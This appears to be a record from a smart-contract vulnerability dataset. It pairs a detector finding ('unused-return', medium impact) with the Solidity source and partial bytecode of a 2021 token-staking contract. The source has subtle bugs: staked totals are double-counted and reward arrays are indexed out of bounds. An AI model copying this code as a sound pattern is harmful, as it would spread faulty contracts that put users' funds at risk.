006060836001600160a01b0316836040518082805190602001908083835b602083106104815780518252601f199092019160209182019101610462565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146104e3576040519150601f19603f3d011682016040523d82523d6000602084013e6104e8565b606091505b50915091508161053f576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156105985780806020019051602081101561055b57600080fd5b50516105985760405162461bcd60e51b815260040180806020018281038252602a81526020018061059f602a913960400191505060405180910390fd5b5050505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212207ea96d3e493cb2cfcc55191bf910bf8c6beaf1c2e71b6dc3a9b4041e72dc466264736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,763 |
0x6925c17e47d3934d934ee41cb3af2c23aa92e998
|
/**
*Submitted for verification at Etherscan.io on 2021-02-27
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
// ----------------------------------------------------------------------------
// CocktailBar Stake PEANUTSETH to earn MOJITO
// Enter our universe : cocktailbar.finance
//
// Come join the disscussion: https://t.me/cocktailbar_discussion
//
// Sincerely, Mr. Martini
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// TRC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface COC {
function balanceOf(address _owner) view external returns (uint256 balance);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _amount) external returns (bool success);
function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success);
function approve(address _to, uint256 _amount) external returns (bool success);
}
interface MOJITO {
function balanceOf(address _owner) view external returns (uint256 balance);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _amount) external returns (bool success);
function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success);
function approve(address _to, uint256 _amount) external returns (bool success);
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract StakePEANUTSETH is Owned, ReentrancyGuard {
using SafeMath for uint256;
uint256 private TotalMRewards;
uint256 public WeekRewardPercent = 100;
uint256 public TotalStakedETH = 0;
uint256 StakingFee = 10; // 1.0%
uint256 UnstakingFee = 30; // 3.0%
uint256 private TeamFeesCollector = 0;
address public stakeTokenAdd = 0x9C70724d2f72847174c2f7Bbea25B36d883DeFe8;
address constant public rewardToken = 0xda579367c6ca7854009133D1B3739020ba350C23;
uint256 public creationTimeContract;
struct USER{
uint256 stakedAmount;
uint256 creationTime;
uint256 TotalMRewarded;
uint256 lastClaim;
uint256 MyTotalStaked;
}
mapping(address => USER) public stakers;
mapping(address=>uint256) public amounts; // keeps record of each reward payout
uint256[] private rewardperday = [17021276600000000000,17021276600000000000,17021276600000000000,
17021276600000000000,17021276600000000000,14893617020000000000,14893617020000000000,14893617020000000000,
14893617020000000000,14893617020000000000,12765957450000000000,12765957450000000000,12765957450000000000,
12765957450000000000,12765957450000000000,10638297870000000000,10638297870000000000,10638297870000000000,
10638297870000000000,10638297870000000000,8510638298000000000,8510638298000000000,8510638298000000000,
8510638298000000000,8510638298000000000,8510638298000000000,8510638298000000000,8510638298000000000,
8510638298000000000,8510638298000000000,6382978723000000000,6382978723000000000,
6382978723000000000,6382978723000000000,6382978723000000000,6382978723000000000,6382978723000000000,
6382978723000000000,6382978723000000000,6382978723000000000,4255319149000000000,4255319149000000000,
4255319149000000000,4255319149000000000,4255319149000000000,4255319149000000000,4255319149000000000,
4255319149000000000,4255319149000000000,4255319149000000000,4255319149000000000,4255319149000000000,
4255319149000000000,4255319149000000000,4255319149000000000,2127659574000000000,2127659574000000000,
2127659574000000000,2127659574000000000,2127659574000000000];
event STAKED(address staker, uint256 tokens, uint256 StakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 UnstakingFee);
event CLAIMEDREWARD(address staker, uint256 reward);
event PERCENTCHANGED(address operator, uint256 percent);
event FkTake(uint256 amount);
event JkTake(uint256 amount);
constructor() {
creationTimeContract = block.timestamp;
}
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external nonReentrant returns(bool){
require(COC(stakeTokenAdd).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = (onePercentofTokens(tokens).mul(StakingFee)).div(10);
stakers[msg.sender].stakedAmount = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedAmount);
TeamFeesCollector = TeamFeesCollector.add(_stakingFee);
stakers[msg.sender].creationTime = block.timestamp;
stakers[msg.sender].lastClaim = stakers[msg.sender].creationTime;
stakers[msg.sender].MyTotalStaked = stakers[msg.sender].MyTotalStaked.add((tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedAmount));
TotalStakedETH = TotalStakedETH.add((tokens).sub(_stakingFee));
emit STAKED(msg.sender, (tokens).sub(_stakingFee), _stakingFee);
return true;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external nonReentrant {
require(stakers[msg.sender].stakedAmount >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercentofTokens(tokens).mul(UnstakingFee)).div(10);
TeamFeesCollector= TeamFeesCollector.add(_unstakingFee);
uint256 owing = 0;
require(COC(stakeTokenAdd).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedAmount = (stakers[msg.sender].stakedAmount).sub(tokens);
owing = TotalStakedETH;
TotalStakedETH = owing.sub(tokens);
stakers[msg.sender].creationTime = block.timestamp;
stakers[msg.sender].lastClaim = stakers[msg.sender].creationTime;
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercentofTokens(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePerc = roundValue.mul(100).div(100 * 10**uint(2));
return onePerc;
}
function calPercentofTokens(uint256 _tokens, uint256 cust) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint256 custPercentofTokens = roundValue.mul(cust).div(100 * 10**uint(2));
return custPercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedToken(address staker) external view returns(uint256 stakedT){
return stakers[staker].stakedAmount;
}
// ------------------------------------------------------------------------
// Get the TOKEN balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourTokenBalance(address user) external view returns(uint256 TBalance){
return COC(stakeTokenAdd).balanceOf(user);
}
function setPercent(uint256 percent) external onlyOwner {
require(percent < 30);
if(percent >= 1)
{
WeekRewardPercent = percent;
emit PERCENTCHANGED(msg.sender, percent);
}
}
function OwnerTeamFeesCollectorRead() external view returns(uint256 jKeeper) {
return TeamFeesCollector;
}
function yourDailyReward(address user) external view returns(uint256 RewardBalance){
uint256 timeToday = block.timestamp - creationTimeContract; //what day it is
uint256 timeT = timeToday.div(86400);
if(stakers[user].stakedAmount > 0)
{
// if(timeT > 0)
{
uint256 rewardToGive = calculateReward(timeT,user);
return rewardToGive;
}//else
//{
// return 0;
//}
}
else
{
return 0;
}
}
function MyTotalRewards(address user) external view returns(uint256 poolreward)
{
if(stakers[user].stakedAmount > 0)
{
uint256 timeToday = block.timestamp - creationTimeContract;
uint256 timeT = timeToday.div(86400);
if(timeT > 59)
{
return 0;
}
else
{
uint256 staked = SafeMath.mul(50000000000000000000, (stakers[user].stakedAmount)).div(TotalStakedETH);
return staked;
}
}
else
return 0;
}
function CLAIMREWARD() external {
uint256 timeToday = block.timestamp - creationTimeContract; //what day it is
uint256 timeT = timeToday.div(86400);
require(stakers[msg.sender].stakedAmount > 0,"you need to stake some coins");
uint256 rewardToGive = calculateReward(timeT,msg.sender);
require(MOJITO(rewardToken).transfer(msg.sender,rewardToGive), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, rewardToGive);
stakers[msg.sender].TotalMRewarded = (stakers[msg.sender].TotalMRewarded).add(rewardToGive);
stakers[msg.sender].lastClaim = block.timestamp;
TotalMRewards = TotalMRewards.add(rewardToGive);
}
function calculateReward(uint timeday, address user) private view returns(uint256 rew){
uint256 totalReward = 0;
if(timeday>60) //check reward for 0 day
{
uint256 daystocheck = stakers[user].lastClaim - creationTimeContract;
uint256 daysCount = daystocheck.div(86400);
daystocheck = 60 - daysCount;
for(uint i =daystocheck; i<60; i++)
{
uint256 rewardpday = ((stakers[user].stakedAmount)*(rewardperday[i])).div(TotalStakedETH);
totalReward = totalReward.add(rewardpday);
}
}else
{
uint256 daystocheck = stakers[user].lastClaim - creationTimeContract; //when did user last withdrew funds
uint256 daysCount = daystocheck.div(86400);
uint256 daystogive = block.timestamp - creationTimeContract; //check what day it is
uint256 daysCounts = daystogive.div(86400);
if(stakers[user].lastClaim == stakers[user].creationTime)
{
uint256 somthing = daysCount * 86400;
daystogive = 0;
if(somthing == 0 )
{
// daystogive = 86400 - daystocheck;
daystogive = block.timestamp - stakers[user].lastClaim;
}
else{
daystogive = daystocheck.sub(somthing);
}
if(daysCount == daysCounts)
{
totalReward = (((stakers[user].stakedAmount)*(rewardperday[daysCounts]))).div(TotalStakedETH);
totalReward = (totalReward.mul(daystogive)).div(86400);
}
else
{
for(uint i = daysCount; i<daysCounts; i++)
{
uint256 rewardpday = ((stakers[user].stakedAmount)*(rewardperday[i])).div(TotalStakedETH);
if(i == daysCount)
{
rewardpday = (rewardpday.mul(daystogive)).div(86400);
}
totalReward = totalReward.add(rewardpday);
}
}
}
else
{
if(daysCount == daysCounts)
{
daystogive = block.timestamp - stakers[user].lastClaim;
totalReward = (((stakers[user].stakedAmount)*(rewardperday[daysCounts]))).div(TotalStakedETH);
totalReward = (totalReward.mul(daystogive)).div(86400);
}
else{
for(uint i = daysCount; i<daysCounts; i++)
{
uint256 rewardpday = ((stakers[user].stakedAmount)*(rewardperday[i])).div(TotalStakedETH);
totalReward = totalReward.add(rewardpday);
}
}
}
}
return totalReward;
}
function TotalPoolRewards() external pure returns(uint256 tpreward)
{
return 50000000000000000000;
}
function MyTotalStaked(address user) external view returns(uint256 totalstaked)
{
return stakers[user].MyTotalStaked;
}
function CurrentTokenReward() external view returns(uint256 crrtr)
{
uint256 timeToday = block.timestamp - creationTimeContract;
uint256 timeT = timeToday.div(86400);
if(timeT > 60)
{
return 0;
}
else
{
return rewardperday[timeT];
}
}
function TotalClaimedReward() external view returns (uint256 TotalM)
{
return TotalMRewards;
}
function SetStakeFee(uint256 percent) external onlyOwner {
require(percent < 10);
StakingFee = percent;
}
function SetUNStakeFee(uint256 percent) external onlyOwner {
require(percent < 10);
UnstakingFee = percent;
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80637a703d2f116100c3578063b290c1351161007c578063b290c13514610583578063b737b74c146105a1578063c9a92a07146105bf578063ca84d591146105dd578063f2fde38b14610621578063f7c618c11461066557610158565b80637a703d2f1461046357806383185e7c146104815780638da5cb5b1461049f5780639168ae72146104d35780639f2d5a9514610547578063a85ab3831461056557610158565b80633284d86e116101155780633284d86e146102f55780633e1da8bd146103235780634baf782e1461037b57806355a3b2c1146103855780636f60965d146103dd5780637154b8b51461043557610158565b806316ae60d61461015d5780631a713b22146101b5578063257c07931461020d5780632920c4ad146102655780632beb811a146102995780632c75bcda146102c7575b600080fd5b61019f6004803603602081101561017357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610699565b6040518082815260200191505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610766565b6040518082815260200191505060405180910390f35b61024f6004803603602081101561022357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107b2565b6040518082815260200191505060405180910390f35b61026d6108b7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c5600480360360208110156102af57600080fd5b81019080803590602001909291905050506108dd565b005b6102f3600480360360208110156102dd57600080fd5b810190808035906020019092919050505061094c565b005b6103216004803603602081101561030b57600080fd5b8101908080359060200190929190505050610e67565b005b6103656004803603602081101561033957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed6565b6040518082815260200191505060405180910390f35b610383610f6a565b005b6103c76004803603602081101561039b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112bf565b6040518082815260200191505060405180910390f35b61041f600480360360208110156103f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d7565b6040518082815260200191505060405180910390f35b6104616004803603602081101561044b57600080fd5b8101908080359060200190929190505050611323565b005b61046b6113f0565b6040518082815260200191505060405180910390f35b6104896113f6565b6040518082815260200191505060405180910390f35b6104a7611400565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611424565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b61054f61145a565b6040518082815260200191505060405180910390f35b61056d61146b565b6040518082815260200191505060405180910390f35b61058b6114c3565b6040518082815260200191505060405180910390f35b6105a96114c9565b6040518082815260200191505060405180910390f35b6105c76114d3565b6040518082815260200191505060405180910390f35b610609600480360360208110156105f357600080fd5b81019080803590602001909291905050506114d9565b60405180821515815260200191505060405180910390f35b6106636004803603602081101561063757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a45565b005b61066d611b3a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561072457600080fd5b505afa158015610738573d6000803e3d6000fd5b505050506040513d602081101561074e57600080fd5b81019080805190602001909291905050509050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411156108ad57600060085442039050600061081f6201518083611b5290919063ffffffff16565b9050603b811115610835576000925050506108b2565b60006108a06003546108926802b5e3af16b1880000600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611b9c565b611b5290919063ffffffff16565b90508093505050506108b2565b600090505b919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093557600080fd5b600a811061094257600080fd5b8060058190555050565b600060149054906101000a900460ff166109ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60008060146101000a81548160ff02191690831515021790555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410158015610a3a5750600081115b610aac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e76616c696420746f6b656e20616d6f756e7420746f20776974686472617781525060200191505060405180910390fd5b6000610ade600a610ad0600554610ac286611c22565b611b9c90919063ffffffff16565b611b5290919063ffffffff16565b9050610af581600654611c7690919063ffffffff16565b6006819055506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610b4f8587611cfe90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ba257600080fd5b505af1158015610bb6573d6000803e3d6000fd5b505050506040513d6020811015610bcc57600080fd5b8101908080519060200190929190505050610c4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4572726f7220696e20756e2d7374616b696e6720746f6b656e7300000000000081525060200191505060405180910390fd5b610ca483600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611cfe90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506003549050610d028382611cfe90919063ffffffff16565b60038190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055507faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa233610e0d8486611cfe90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150506001600060146101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ebf57600080fd5b600a8110610ecc57600080fd5b8060048190555050565b600080600854420390506000610ef86201518083611b5290919063ffffffff16565b90506000600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541115610f5e576000610f518286611d48565b9050809350505050610f65565b6000925050505b919050565b6000600854420390506000610f8b6201518083611b5290919063ffffffff16565b90506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f796f75206e65656420746f207374616b6520736f6d6520636f696e730000000081525060200191505060405180910390fd5b60006110518233611d48565b905073da579367c6ca7854009133d1b3739020ba350c2373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b505050506040513d602081101561110257600080fd5b8101908080519060200190929190505050611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806124d0602c913960400191505060405180910390fd5b7f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e3382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a161121281600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506112b481600154611c7690919063ffffffff16565b600181905550505050565b600a6020528060005260406000206000915090505481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461137b57600080fd5b601e811061138857600080fd5b600181106113ed57806002819055507f3bc0a290dd50b0e5aa5165e0f5861e62db7ba24f8383e760f70170f338e283d43382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b50565b60035481565b6000600654905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b60006802b5e3af16b1880000905090565b60008060085442039050600061148d6201518083611b5290919063ffffffff16565b9050603c8111156114a3576000925050506114c0565b600b81815481106114b057fe5b9060005260206000200154925050505b90565b60025481565b6000600154905090565b60085481565b60008060149054906101000a900460ff1661155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60008060146101000a81548160ff021916908315150217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561162757600080fd5b505af115801561163b573d6000803e3d6000fd5b505050506040513d602081101561165157600080fd5b81019080805190602001909291905050506116b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061251d602e913960400191505060405180910390fd5b60006116e9600a6116db6004546116cd87611c22565b611b9c90919063ffffffff16565b611b5290919063ffffffff16565b9050611752600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546117448386611cfe90919063ffffffff16565b611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506117ad81600654611c7690919063ffffffff16565b60068190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061193e6118ed600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546118df8487611cfe90919063ffffffff16565b611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055506119ab61199a8285611cfe90919063ffffffff16565b600354611c7690919063ffffffff16565b6003819055507f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c336119e68386611cfe90919063ffffffff16565b83604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a160019150506001600060146101000a81548160ff021916908315150217905550919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a9d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b73da579367c6ca7854009133d1b3739020ba350c2381565b6000611b9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061232e565b905092915050565b600080831415611baf5760009050611c1c565b6000828402905082848281611bc057fe5b0414611c17576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124fc6021913960400191505060405180910390fd5b809150505b92915050565b600080611c396064846123f490919063ffffffff16565b90506000611c6a6002600a0a606402611c5c606485611b9c90919063ffffffff16565b611b5290919063ffffffff16565b90508092505050919050565b600080828401905083811015611cf4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611d4083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061240f565b905092915050565b60008060009050603c841115611e71576000600854600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301540390506000611dbb6201518083611b5290919063ffffffff16565b905080603c03915060008290505b603c811015611e69576000611e44600354600b8481548110611de757fe5b9060005260206000200154600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b9050611e598186611c7690919063ffffffff16565b9450508080600101915050611dc9565b505050612324565b6000600854600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301540390506000611ed46201518083611b5290919063ffffffff16565b90506000600854420390506000611ef76201518083611b5290919063ffffffff16565b9050600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156121875760006201518084029050600092506000811415611fe857600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015442039250611ffe565b611ffb8186611cfe90919063ffffffff16565b92505b818414156120a757612076600354600b848154811061201957fe5b9060005260206000200154600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b95506120a0620151806120928589611b9c90919063ffffffff16565b611b5290919063ffffffff16565b9550612181565b60008490505b8281101561217f576000612127600354600b84815481106120ca57fe5b9060005260206000200154600960008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b90508582141561215c576121596201518061214b8784611b9c90919063ffffffff16565b611b5290919063ffffffff16565b90505b61216f8189611c7690919063ffffffff16565b97505080806001019150506120ad565b505b5061231f565b8083141561227757600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015442039150612246600354600b83815481106121e957fe5b9060005260206000200154600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b9450612270620151806122628488611b9c90919063ffffffff16565b611b5290919063ffffffff16565b945061231e565b60008390505b8181101561231c5760006122f7600354600b848154811061229a57fe5b9060005260206000200154600960008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b905061230c8188611c7690919063ffffffff16565b965050808060010191505061227d565b505b5b505050505b8091505092915050565b600080831182906123da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561239f578082015181